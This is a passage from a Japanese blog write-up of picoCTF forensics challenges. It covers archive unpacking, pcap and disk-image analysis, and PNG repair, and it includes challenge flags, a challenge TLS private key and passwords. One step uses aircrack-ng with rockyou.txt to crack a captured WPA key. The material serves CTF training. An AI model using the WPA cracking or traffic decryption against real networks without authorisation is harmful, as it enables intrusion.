-rw-r--r-- 1 sansforensics sansforensics 1.1K Mar 16 01:40 flag.ar
-rwxrw-rw- 1 sansforensics sansforensics 5.1K May  6 15:35 Flag.pdf
$ file flag
flag: cpio archive

ファイル名をflag.cpioに変更してcpioコマンドで解凍したところ、今度はbzip圧縮されたflagファイルが作成された。

$ cpio -idv < flag.cpio
flag
2 blocks

$ file flag
flag: bzip2 compressed data, block size = 900k

ファイル名をflag.bz2に変更してbzip2コマンドで解凍したところ、今度はgzip圧縮されたflagファイルが作成された。

$ bzip2 -d flag.bz2 
$ file flag
flag: gzip compressed data, was "flag", from Unix, last modified: Thu Mar 16 01:40:19 2023

ファイル名をflag.gzに変更してgzipコマンドで解凍したところ、今度はlzip圧縮されたflagファイルが作成された。

$ gzip -d flag.gz
$ file flag
flag: lzip compressed data, version: 1

ファイル名をflag.lzに変更してlzipコマンドで解凍したところ、今度はlz4圧縮されたflagファイルが作成された。

$ lzip -d flag.lz
$ file flag
flag: LZ4 compressed data (v1.4+)

ファイル名をflag.lz4に変更してlz4コマンドで解凍したところ、今度はlzma圧縮されたflagファイルが作成された。

$ lz4 -d flag.lz4
Decoding file flag
flag.lz4             : decoded 264 bytes
$ file flag
flag: LZMA compressed data, non-streamed, size 253

ファイル名をflag.lzmaに変更してxzコマンドで解凍したところ、今度はlzop圧縮されたflagファイルが作成された。

$ xz -d flag.lzma
$ file flag
flag: lzop compressed data - version 1.040, LZO1X-1, os: Unix

ファイル名をflag.lzoに変更してlzopコマンドで解凍したところ、今度はlzip圧縮されたflagファイルが作成された。

$ lzop -d flag.lzo
$ file flag
flag: lzip compressed data, version: 1

ファイル名をflag.lzに変更してlzipコマンドで解凍したところ、今度はxz圧縮されたflagファイルが作成された。

$ lzip -d flag.lz
$ file flag
flag: XZ compressed data, checksum CRC64

ファイル名をflag.xzに変更してxzコマンドで解凍したところ、ようやくテキストファイルflagが現れた。

$ xz -d flag.xz
$ file flag
flag: ASCII text

flagファイルにはHEXエンコードされたデータが記載されていた。

$ cat flag
7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f39353063346665657d0a

上記のデータをHEXデコードしたところ、フラグを取れた。

$ cat flag | xxd -r -p
picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_<REDACTED>}

PcapPoisoning (100points)

PCAPファイルtrace.pcapを解析してフラグを取得する問題。

ファイルをwiresharkで開いてフィルター欄にframe contains "pico"と入れたところ、フラグを取れた。

hideme (100points)

画像ファイルflag.pngを解析してフラグを取得する問題。

ファイルをxxdコマンドで確認したところ、ファイルの末尾にsecret/flag.pngという文字列が確認できた。

$ xxd flag.png | tail
0000a770: 0700 1800 0000 0000 0000 1000 ed41 0000  .............A..
0000a780: 0000 7365 6372 6574 2f55 5405 0003 8b78  ..secret/UT....x
0000a790: 1264 7578 0b00 0104 0000 0000 0400 0000  .dux............
0000a7a0: 0050 4b01 021e 0314 0000 0008 0038 1070  .PK..........8.p
0000a7b0: 56f5 230b f88f 0b00 0024 0c00 000f 0018  V.#......$......
0000a7c0: 0000 0000 0000 0000 00a4 8141 0000 0073  ...........A...s
0000a7d0: 6563 7265 742f 666c 6167 2e70 6e67 5554  ecret/flag.pngUT
0000a7e0: 0500 038b 7812 6475 780b 0001 0400 0000  ....x.dux.......
0000a7f0: 0004 0000 0000 504b 0506 0000 0000 0200  ......PK........
0000a800: 0200 a200 0000 190c 0000 0000            ............

ファイルをbinwalkにかけたところ、secret/flag.pngが抽出された。抽出されたflag.pngにフラグが記載されていた。

$ binwalk -e flag.png 

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
0         	0x0       	PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
39739     	0x9B3B    	Zip archive data, at least v1.0 to extract, name: "secret/"  
39804     	0x9B7C    	Zip archive data, at least v2.0 to extract, compressed size: 2959, uncompressed size: 3108, name: "secret/flag.png"  
43020     	0xA80C    	End of Zip archive 

$ ls
flag.png  flag.png.zip  secret

$ ls secret/
flag.png

who is it (100points)

Eメールemail-export.emlを解析してフラグを取得する問題。

送信元のメールサーバーの持ち主の名前がフラグとなる。

email-export.emlをテキスト・エディタで開いてヘッダーを眺めたところ、以下の情報を見つけた。

Received: from mail.onionmail.org (mail.onionmail.org. [173.249.33.206])

※メール・ヘッダーについてはこちらの記事を参照。

上記のヘッダー情報より、送信元のメールサーバーのホスト名はmail.onionmail.org と判明した。(IPアドレスは173.249.33.206)

メールサーバーの持ち主の情報を得るためにホスト名をwhoisコマンドで調べてみたが、問い合わせが弾かれてしまった。

$ whois mail.onionmail.org
Malformed request.
>>> Last update of WHOIS database: 2023-05-08T14:34:32Z <<<

Terms of Use: Access to Public Interest Registry WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registry registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Identity Digital except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.  The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name

ならばと、IPアドレス173.249.33.206の方をwhoisコマンドで調べたところ、Wilhelm Zwalinaという名前を確認できた。この名前がフラグだった。

inetnum:        173.249.32.0 - 173.249.63.255
netname:        CONTABO
descr:          Contabo GmbH
country:        DE
org:            ORG-GG22-RIPE
admin-c:        MH7476-RIPE
tech-c:         MH7476-RIPE
status:         ASSIGNED PA
mnt-by:         MNT-CONTABO
created:        2018-08-22T07:28:02Z
last-modified:  2018-08-22T07:28:02Z
source:         RIPE

organisation:   ORG-GG22-RIPE
org-name:       Contabo GmbH
country:        DE
org-type:       LIR
remarks:        * Please direct all complaints about Internet abuse like Spam, hacking or scans *
remarks:        * to abuse@contabo.de . This will guarantee fastest processing possible. *
address:        Aschauer Strasse 32a
address:        81549
address:        Munchen
address:        GERMANY
phone:          +498921268372
fax-no:         +498921665862
abuse-c:        MH12453-RIPE
mnt-ref:        RIPE-NCC-HM-MNT
mnt-ref:        MNT-CONTABO
mnt-ref:        MNT-OCIRIS
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         MNT-CONTABO
created:        2009-12-09T13:41:08Z
last-modified:  2021-09-14T10:49:04Z
source:         RIPE # Filtered

person:         Wilhelm Zwalina
address:        Contabo GmbH
address:        Aschauer Str. 32a
address:        81549 Muenchen
phone:          +49 89 21268372
fax-no:         +49 89 21665862
nic-hdl:        MH7476-RIPE
mnt-by:         MNT-CONTABO
mnt-by:         MNT-GIGA-HOSTING
created:        2010-01-04T10:41:37Z
last-modified:  2020-04-24T16:09:30Z
source:         RIPE

like1000 (250points)

tarファイル1000.tarを解析してフラグを取得する問題。

1000.tarを解凍すると999.tarfiller.txtというファイルが現れた。

$ tar -xf 1000.tar
$ ls
1000.tar  999.tar  filler.txt

以下はfiller.txtの中身。

$ cat filler.txt
alkfdslkjf;lkjfdsa;lkjfdsa

続いて999.tarを解凍したところ、998.tarというファイルが現れた。

$ tar -xf 999.tar
$ ls
1000.tar  998.tar  999.tar  filler.txt

これは恐らくtarファイルを1000回解凍すればフラグを取れるパターンである。

1000.tarから1.tarまでを解凍するシェルスクリプトを書いて実行した。

#!/bin/bash

for i in {1000..1}
 do
  #echo $i.tar
  tar -xf $i.tar
 done

案の定、1.tarの中にフラグが記載された画像ファイルが含まれていた。

$ 7z l 1.tar

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Listing archive: 1.tar

--
Path = 1.tar
Type = tar
Physical Size = 20480
Headers Size = 6656

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2019-08-05 01:57:08 .....        13114        13312  flag.png
2019-08-05 01:29:33 .....           27          512  filler.txt
------------------- ----- ------------ ------------  ------------------------
                                 13141        13824  2 files, 0 folders

Eavesdrop (300points)

PCAPファイルcapture.flag.pcapを解析してフラグを取得する問題。

WiresharkでPCAPを開いて、Follow -> TCP StreamでTCP通信を眺めてみると、TCPストリーム番号0にて以下のメッセージのやりとりを見つけた。

Hey, how do you decrypt this file again?
You're serious?
Yeah, I'm serious
*sigh* openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
Ok, great, thanks.
Let's use Discord next time, it's more secure.
C'mon, no one knows we use this program like this!
Whatever.
Hey.
Yeah?
Could you transfer the file to me again?
Oh great. Ok, over 9002?
Yeah, listening.
Sent it
Got it.
You're unbelievable

ユーザーがあるファイルの復号方法について尋ねており、もう一方のユーザーがopenssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123で復号できると教えている。

さらにユーザーはもう一度ファイルを送信するようにお願いしており、もう一方のユーザーはポート番号9002宛にファイルを送信したと返答している。

パケットを調べてみるとTCPストリーム番号2にてIPアドレス10.0.2.15からIPアドレス10.0.2.4のポート番号9002向けに何らかのデータを送信しているのが確認できた。

このデータをRaw形式に変換してファイルfile.des3として保存した。

保存したfile.des3を以下のopensslコマンドで復号した。

openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123

file.txtにフラグが記載されていた。

WPA-ing Out (200points)

PCAPファイルwpa-ing_out.pcapを解析してフラグを取得する問題。

wpa-ing_out.pcapには無線LANの通信がキャプチャされていた。

rockyou.txtを利用してPCAPファイルから無線LAN通信のキーを取れとのこと。

aircrack-ngというツールを使えばPCAPファイルからキーを抽出できるらしい。

以下のコマンドでキーを抽出できた。

aircrack-ng -a 2 wpa-ing_out.pcap -w rockyou.txt

advanced-potion-making (100points)

謎のファイルadvanced-potion-makingを解析してフラグを取得する問題。

とありえず、ファイルのヘッダーを確認してみた。

$ xxd advanced-potion-making | head
00000000: 8950 4211 0d0a 1a0a 0012 1314 4948 4452  .PB.........IHDR
00000010: 0000 0990 0000 04d8 0802 0000 0004 2de7  ..............-.
00000020: 7800 0000 0173 5247 4200 aece 1ce9 0000  x....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000  ..gAMA......a...
00000040: 0009 7048 5973 0000 1625 0000 1625 0149  ..pHYs...%...%.I
00000050: 5224 f000 0076 3949 4441 5478 5eec fd61  R$...v9IDATx^..a
00000060: 72e3 4c94 a659 ce16 6afe 76cd fe57 d7dd  r.L..Y..j.v..W..
00000070: 5b18 45e9 4b8a 7a28 d19d 2048 07a9 6376  [.E.K.z(.. H..cv
00000080: ac2d 2b3e bfaf 5f07 1801 82d7 b2f3 fff3  .-+>.._.........
00000090: fffc 7fff 7f00 0000 0000 0000 4b18 5802  ............K.X.

ファイルの冒頭にIHDRsRGBgAMAなどの文字列を確認できた。恐らく破損したPNG画像ファイルと思われる。

Wikiを片手にヘッダーを修復してみた。

ファイルをPNG画像ファイルとして開けるようになった。

修復した画像ファイルをstegsolveで調べたところ、"Red Plane 0"パターンでフラグを取ることができた。

FindAndOpen (200points)

PCAPファイルdump.pcapとZIPファイルflag.zipを解析してフラグを取得する問題。

flag.zipはパスワードで保護されており、解凍するにはdump.pcapを解析してパスワードを取得しなければいけない。

Wiresharkでdump.pcapを眺めてみると、パケットのDataフィールドに何やら気になるメッセージを発見した。

tsharkでDataフィールドを抽出してみたところ、Base64と思しきデータVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=を発見した。

$ PCAP=dump.pcap
$ tshark -r $PCAP -Y "data" -T fields -e data | uniq | xxd -r -p
rnet secret: Is this the flagould the flag have been splitted?VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=bababkjaASKBKSBACVVAVSDDSSSSDSKJBJSaybe try checking the other file

VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=をBase64デコードしたところ、This is the secret: picoCTF{R34DING_LOKd_というメッセージが現れた。

$ echo VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8= | base64 -d
This is the secret: picoCTF{R34DING_LOKd_

picoCTF{R34DING_LOKd_flag.zipを解凍するためのパスワードだった。
flag.zipを解凍するとflagというファイルが現れた。このファイルにフラグが記載されていた。

WebNet0 (350points)

PCAPファイルcapture.pcapを解析してフラグを取得する問題。

PCAPのほかにpicopico.keyというファイルも一緒に渡される。

capture.pcapにはTLSの通信がキャプチャされていた。通信が暗号化されているので当然やりとりされているデータの中身はわからない。

次にpicopico.keyを開いてみた。TLS通信の秘密鍵っぽい。

$ cat picopico.key
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwKlFPNKjseJF5
puCJU5x38XcT1eQge5zOKNahAlYudvGVOEs61TnIgvcER4ko8i3OCwak2/atcGk3
oz9jFKep7XFEYNP31IwwD9j/YazlKy4DRLGObOyIZUU1f2WRA7Uhf0POQXsDT1oU
X32jMKZkQSSDW4MRZd9trJYdO2TrcEPMsBiZQlFlvgnNwl3QlawozTHLAJKI36j1
cPwSMMeNca1e0Zi1s7R5IxfhpNXOBF0FmxiWvmeOHbaspyHg8UEmGBrkd4k4wXSK
GQvrc8QjycP4ScEdquxJiYnDT8iEbAq70/7f/5NIN1DE9YoGJqKYjTS9nRPB4Yvj
JN/SJnhvAgMBAAECggEACCnd3LrG/TZVH3sROqvqO1CwQPYPfUXdLVyNHab7EWon
pc+XBOHurJENG2CpRYF7h+nQ5ADhfIYSCicBf/jsEB7VueJ20CxEVtHVL3h6R6Bp
oHMle0Em8OcofuMpdL/kO+om3T8BkVSzCvCl5NMTUuAF7iRmfX7oDLALwM0IzzQv
2un+2UmT15rgAZfl3IL1PGvJhbhLxfeeyPE9MBy1SqBjQ9rNFn8sQv959J6BHz4b
EpK//ErtNP2yh7oiVBBgKEQ1gEuOjQC/4oxoqCFfZaf9XNRCxB/zY1nUprvJyz09
NMQWNF2EmvmBVGfoTxmuut5N0GbVr2UyHxWMKm2sOQKBgQDpb2+AWgWlGtetuLKJ
fJs8dnd6LhnafbKCOXMOT68qMBRoTpBtVTLRVSNvWCm8m4TTEazX4+ZA+bJFwUFw
aATDmHcr6lMI3tNKrcsnY2F7o5I4z6mwuRuSeszq/ndxZqCzwCu4nKixh3cznp7j
JiElNG0d8Lu5eQgmVAK1AhWXfQKBgQDBMa9ga7VJUP4pzcHnWAoi34OpfjvQYeGl
IKL3AKO4OedaHdH9qid41PQHnL7O3xzN669SkLZ5s0d88A/LFLk4oZNMKdkSTQIQ
+AMbXH01HGFvnCOuPg/FbNp1wS7zJEg5u5HFQWyMPNJLr/hZ6g2Yp+UGpAcGTwM/
RCPVAPhLWwKBgQDAB0OaOnPaVjKGXiHAqBirrGiswa/S5QQrzEaxxys5cUPYaoi0
6BldysPTnJr45JZna2rcTkXjvYTBjTDf3zHMFWgzYBfefC8kh8NPK5nNs8ldorbd
AemEnjBkP+DSELKyK6vLulOrdtzAQgRCp+MsT+xTbO2ArefeX826SXSpoQKBgC2v
nDOHBQXje1dTawlUToFUrgQE8AwlOYEdKKyUoCLOvqEW8DO2a0MtyM+MB6tQI7Wm
iH1T73L0LHGlK3bw3aRAwV5/fu/O+jAdFk8AHjPTFE+acu2fi4c6aKb0GjAxYksU
yjIFeK/pKinv4SESMkjpW0WowGiDgtcRPBAA/LaFAoGAfEM1rfM0v3UmB7PS6u0m
P3ckP2CFCdaryXPfC52GBcJ3Q46YpsQvLTVotM+teHvTjNw2jwwZxIl4NenGSEj3
KDhQoOiQC9BrDD+DB4I9+T9nxT3g7R6MrgITghB4We7TVhL/PljnJTyDqpjNA4kY
TveAJPv6Xq1ERt5PUtX3BqQ=
-----END PRIVATE KEY-----

秘密鍵picopico.keyPCAPにインポートしたところ、TLS通信が復号された。

サーバーからの応答ヘッダーの中にフラグが記載されていた。

HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 15:56:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Mon, 12 Aug 2019 16:50:05 GMT
ETag: "5ff-58fee50dc3fb0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Pico-Flag: picoCTF{nongshim.<REDACTED>}
Content-Length: 821
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

WebNet1 (450points)

PCAPファイルcapture.pcapを解析してフラグを取得する問題。

capture.pcapにはTLSの通信がキャプチャされていた。通信が暗号化されているので当然やりとりされているデータの中身はわからない。

PCAPのほかにpicopico.keyというファイルも一緒に渡される。

WebNet0と同様、秘密鍵picopico.keyPCAPにインポートしたところ、TLS通信が復号された。

今回はサーバーから応答されたJPEG画像ファイルの中にフラグが記載されていた。(Pico-Flagヘッダーに記載されているのはダミーのフラグである)

HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 16:27:04 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 23 Aug 2019 16:26:33 GMT
ETag: "112fb-590cb44f2cbe6"
Accept-Ranges: bytes
Content-Length: 70395
Pico-Flag: picoCTF{this.is.not.your.flag.anymore}
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: image/jpeg

......JFIF..............Exif..MM.*.................J...........R.(...........;.........Z................................picoCTF{honey.roasted.<REDACTED>}......ICC_PROFILE.......lcms....mntrRGB XYZ .........).9acspAPPL...................................-lcms...............................................
desc.......^cprt...\....wtpt...h....bkpt...|....rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........c2..................................................................................text....FB..XYZ ...............-XYZ ...........3....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............c...k...?.Q.4!.).2.;.F.Qw].kpz....|.i.}...0.....C.................
		

c0rrupt (250points)

謎のファイルmysteryを解析してフラグを取得する問題。

ファイルのヘッダーを確認してみると、どうも破損したPNG画像ファイルっぽかった。

ヘッダーを修正したところ、ファイルを開けるようになり、フラグを取得できた。

以下はヘッダー修正前。

以下はヘッダー修正後。

修正後、ファイルを開けるようになった。

Sleuthkit Intro (100points)

ディスク・イメージdisk.imgを解析してフラグを取得する問題。

Sleuthkitのmmlsコマンドを使ってlinuxパーティションのサイズを取得したのち、スコアサーバーに答えを入力してフラグを取れとのこと。

$ mmls disk.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000002047   0000002048   Unallocated
02:  00:00   0000002048   0000204799   0000202752   Linux (0x83)
$ nc saturn.picoctf.net 52472
What is the size of the Linux partition in the given disk image?
Length in sectors: 202752
202752
Great work!
picoCTF{mm15_<REDACTED>}

Disk, disk, sleuth! (110points)

ディスク・イメージdds1-alpine.flag.imgを解析してフラグを取得する問題。

Sleuthkitのsrch_stringsコマンドを使えと言われたが、普通のstringsコマンドでフラグを取れた。

$ strings dds1-alpine.flag.img | grep -i pico
ffffffff81399ccf t pirq_pico_get
ffffffff81399cee t pirq_pico_set
ffffffff820adb46 t pico_router_probe
# CONFIG_HID_PICOLCD is not set
  SAY picoCTF{f0r3ns1c4t0r_n30phyt3_<REDACTED>}

Disk, disk, sleuth! II (130points)

ディスク・イメージdds2-alpine.flag.imgを解析してフラグを取得する問題。

dds2-alpine.flag.imgからdown-at-the-bottom.txtというファイルを見つけ出してフラグを取れとのこと。

Sleuthkitのコマンド表を片手に取り組んでみた。

まずはmmlsコマンドでパーティション情報を取得した。

$ mmls dds2-alpine.flag.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000002047   0000002048   Unallocated
02:  00:00   0000002048   0000262143   0000260096   Linux (0x83)

パーティション02にLinuxのパーティションがあることが確認できた。

続いてmmcatコマンドでLinuxのパーティションを抽出してlinux-Partition.binとして保存した。

$ mmcat dds2-alpine.flag.img 2 > linux-Partition.bin

保存したlinux-Partition.binからファイルdown-at-the-bottom.txtを検索した。

$ fls -r linux-Partition.bin | grep down-at-the-bottom.txt
+ r/r 18291:	down-at-the-bottom.txt

上記よりファイルdown-at-the-bottom.txtのinode番号は18291と判明した。

取得したinode番号をもとにicatコマンドでファイルdown-at-the-bottom.txtの内容を読み出したところ、フラグを取れた。

$ icat linux-Partition.bin 18291
   _     _     _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 
   _     _     _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 
   _     _     _     _     _     _     _     _     _     _     _  

Sleuthkit Apprentice (200points)

ディスク・イメージdisk.flag.imgを解析してフラグを取得する問題。

まずはmmlsコマンドでパーティション情報を取得した。

$ mmls disk.flag.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000002047   0000002048   Unallocated
02:  00:00   0000002048   0000206847   0000204800   Linux (0x83)
03:  00:01   0000206848   0000360447   0000153600   Linux Swap / Solaris x86 (0x82)
04:  00:02   0000360448   0000614399   0000253952   Linux (0x83)

パーティション02、03、04にlinuxのパーティションがあることが確認できた。

それぞれのパーティションをmmcatコマンドで抽出して別ファイルに保存した。

mmcat disk.flag.img 2 > linux.001
mmcat disk.flag.img 3 > linux-swap.002
mmcat disk.flag.img 4 > linux.003

flsコマンドで、それぞれのパーティションのファイルとディレクトリの一覧を確認していくと、3つ目のlinuxパーティションにflag.txt (inode番号2082)とflag.uni.txt (inode番号2371)という気になるファイルを発見した。

$ fls -r linux.003 | grep -i flag
++ r/r * 2082(realloc):	flag.txt
++ r/r 2371:	flag.uni.txt

inode番号をもとにicatコマンドでflag.uni.txtの内容を読み出したところ、フラグを取れた。

$ icat linux.003 2371
picoCTF{by73_5urf3r_<REDACTED>}

Pitter, Patter, Platters (200points)

ディスク・イメージsuspicious.dd.sda1を解析してフラグを取得する問題。

flsコマンドでテキストファイルの一覧を調べてみると、suspicious-file.txt (inode番号12) という気になるファイルを発見した。

$ fls -r suspicious.dd.sda1 | grep txt
++ r/r 4023:	gcc_libs.tcz.md5.txt
++ r/r 4025:	openssl-1.0.0.tcz.md5.txt
++ r/r 4027:	openssh.tcz.md5.txt
++ r/r 4031:	ncurses-common.tcz.md5.txt
++ r/r 4033:	ncurses.tcz.md5.txt
++ r/r 4035:	nano.tcz.md5.txt
++ r/r 4039:	bzip2-lib.tcz.md5.txt
++ r/r 4041:	pcre.tcz.md5.txt
++ r/r 4043:	nginx.tcz.md5.txt
++ r/r 4045:	fuse.tcz.md5.txt
++ r/r 4050:	libtirpc.tcz.md5.txt
++ r/r 4053:	libffi.tcz.md5.txt
++ r/r 4055:	glib2.tcz.md5.txt
r/r 12:	suspicious-file.txt

inode番号をもとにicatコマンドでsuspicious-file.txtの内容を読み出してみたが、フラグらしきものは発見できなかった。

$ icat suspicious.dd.sda1 12
Nothing to see here! But you may want to look here -->

もう一度、icatコマンドを-sオプション付きで実行してみた。(-sオプションを指定するとスラック領域のデータも見ることが出来る)

$ icat -s suspicious.dd.sda1 12
Nothing to see here! But you may want to look here -->
}<REDACTED>_3<_|Lm_111t5_3b{FTCocip

フラグが反転された状態で記載されていた。

$ echo '}<REDACTED>_3<_|Lm_111t5_3b{FTCocip' | rev
picoCTF{b3_5t111_mL|_<3_<REDACTED>}

Operation Orchid (400points)

ディスク・イメージdisk.flag.imgを解析してフラグを取得する問題。

まずはmmlsコマンドでパーティション情報を取得した。

$ mmls disk.flag.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000002047   0000002048   Unallocated
02:  00:00   0000002048   0000206847   0000204800   Linux (0x83)
03:  00:01   0000206848   0000411647   0000204800   Linux Swap / Solaris x86 (0x82)
04:  00:02   0000411648   0000819199   0000407552   Linux (0x83)

パーティション02、03、04にlinuxのパーティションがあることが確認できた。

それぞれのパーティションをmmcatコマンドで抽出して別ファイルに保存した。

mmcat disk.flag.img 2 > linux.002
mmcat disk.flag.img 3 > linux-swap.003
mmcat disk.flag.img 4 > linux.004

flsコマンドで、それぞれのパーティションのファイルとディレクトリの一覧を確認していくと、3つ目のlinuxパーティションにflag.txt (inode番号1876)とflag.txt.enc (inode番号1782)という気になるファイルを発見した。

$ fls -r linux.004 | grep -i flag
+ r/r * 1876(realloc):	flag.txt
+ r/r 1782:	flag.txt.enc

icatコマンドでそれぞれのファイルを確認したところ、flag.txt.encは何らかの暗号化が施されたファイルであることが分かった。(flag.txtにはフラグは記載されていなかった。)

inode番号をもとにicatコマンドでflag.txt.encを抽出して保存した。

icat linux.004 1782 > flag.txt.enc

flag.txt.encの前後に何かほかの目ぼしいファイルはないかと確認したところ、ashのhistoryファイルと思しき.ash_history (inode番号1875)を発見した。

$ fls -r linux.004 | grep -i -C 5 flag
+ d/d 469:	usb
d/d 470:	mnt
d/d 471:	opt
d/d 472:	root
+ r/r 1875:	.ash_history
+ r/r * 1876(realloc):	flag.txt
+ r/r 1782:	flag.txt.enc
d/d 473:	run
d/d 475:	srv
d/d 476:	sys
d/d 2041:	swap
d/d 51001:	$OrphanFiles

inode番号をもとに.ash_historyの中身を確認してみた。

$ icat linux.004 1875
touch flag.txt
nano flag.txt 
apk get nano
apk --help
apk add nano
nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt

openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567というコマンドが目についた。
flag.txtをopensslコマンドで暗号化してflag.txt.encとして保存しているのが分かる。

以下のopensslコマンドでflag.txt.encを復号してフラグを取ることが出来た。

※自分の解析環境だとbad decryptエラーが出て復号できなかったが、picoCTFのwebshell上でコマンドを実行したところ、エラーは出つつもファイルを復号することが出来た。

openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
809B9FE0407F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:124:
$ ls
disk.flag.img  flag.txt  flag.txt.enc  linux.004
$ cat flag.txt
picoCTF{h4un71ng_p457_<REDACTED>}

Torrent Analyze (400points)

PCAPファイルtorrent.pcapを解析してフラグを取得する問題。

Torrentを使ってダウンロードされたファイル名を突き止めよとのこと。

WiresharkでPCAPを開いてbt-dhtでフィルターしてパケットを眺めたところ、フレーム番号332 (frame.number == 332)にてZoo (2017) 720p WEB-DL x264 ESubs - MkvHub.Comというファイル名っぽい文字列を発見。

が、これはフラグではなかった。

PCAPを何度か眺めてみたり、TCPやUDPのペイロードを抽出してstringsにかけてみたりしたが、ほかにファイル名と思しき文字列は見つからなかった。

ちなみにTCPやUDPのペイロードの抽出には以下の tsharkコマンドを利用した。

  • tshark -r $PCAP -Y "tcp" -T fields -e tcp.payload | uniq | xxd -r -p > tcp-payload.bin
  • tshark -r $PCAP -Y "udp" -T fields -e udp.payload | uniq | xxd -r -p > udp-payload.bin

諦めてヒントを見てみた。

The file name ends with .iso

改めてPCAPを調べたところ、.isoで終わるようなファイル名は確認できなかったが、パケットを眺めているうちにTorrentのパケットの中にinfo_hashというフィールドがあることに気が付いた。

このinfo_hashとは何ぞやとググったところ、どうやらダウンロード対象のファイルの識別子のようなものらしい。

bt-dht.bencoded.string == "info_hash"でフィルターしてPCAPを眺めてみたところ、IPアドレス192.168.73.132e2467cbf021192c241367b892230dc1e05c0580eというハッシュつきの データを複数回に渡りダウンロードしていることに気が付いた。

このハッシュをググったところ、ダウンロード対象のファイル名はubuntu-19.10-desktop-amd64.isoであることが判明した。

Operation Oni (300points)

ディスク・イメージdisk.imgを解析してフラグを取得する問題。

SSHの秘密鍵を見つけ出して、以下のSSHコマンドでサーバーに接続せよとのこと。※サーバーのポート番号はインスタンスの起動のたびに変更される。

ssh -i key_file -p 53285 ctf-player@saturn.picoctf.net

まずはmmlsコマンドでパーティション情報を取得した。

$ mmls disk.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000002047   0000002048   Unallocated
02:  00:00   0000002048   0000206847   0000204800   Linux (0x83)
03:  00:01   0000206848   0000471039   0000264192   Linux (0x83)

パーティション02と03にlinuxのパーティションがあることが確認できた。

